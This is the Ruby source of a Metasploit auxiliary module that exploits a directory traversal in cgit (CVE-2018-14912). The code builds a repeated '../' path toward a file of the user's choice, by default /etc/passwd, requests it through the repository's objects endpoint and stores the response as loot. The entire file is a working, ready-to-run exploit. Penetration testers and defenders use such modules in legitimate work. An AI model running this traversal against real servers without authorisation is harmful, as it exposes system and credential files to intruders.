Path: blob/master/modules/auxiliary/scanner/http/cgit_traversal.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Report8include Msf::Auxiliary::Scanner910def initialize(info = {})11super(12update_info(13info,14'Name' => 'cgit Directory Traversal',15'Description' => %q{16This module exploits a directory traversal vulnerability which17exists in cgit < 1.2.1 cgit_clone_objects(), reachable when the18configuration flag enable-http-clone is set to 1 (default).19},20'References' => [21['CVE', '2018-14912'],22['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1627'],23['EDB', '45148']24],25'Author' => [26'Google Project Zero', # Vulnerability discovery27'Dhiraj Mishra' # Metasploit module28],29'DisclosureDate' => '2018-08-03',30'License' => MSF_LICENSE,31'Notes' => {32'Reliability' => UNKNOWN_RELIABILITY,33'Stability' => UNKNOWN_STABILITY,34'SideEffects' => UNKNOWN_SIDE_EFFECTS35}36)37)3839register_options(40[41OptString.new('FILEPATH', [true, "The path to the file to read", '/etc/passwd']),42OptString.new('TARGETURI', [true, "The base URI path of the cgit install", '/cgit/']),43OptString.new('REPO', [true, "Git repository on the remote server", '']),44OptInt.new('DEPTH', [ true, 'Depth for Path Traversal', 10 ])45]46)47end4849def run_host(ip)50filename = datastore['FILEPATH']51traversal = "../" * datastore['DEPTH'] << filename5253res = send_request_cgi({54'method' => 'GET',55'uri' => normalize_uri(target_uri.path, datastore['REPO'], '/objects/'),56'vars_get' => { 'path' => traversal }57})5859unless res && res.code == 20060print_error('Nothing was downloaded')61return62end6364vprint_good("#{peer} - \n#{res.body}")65path = store_loot(66'cgit.traversal',67'text/plain',68ip,69res.body,70filename71)72print_good("File saved in: #{path}")73end74end757677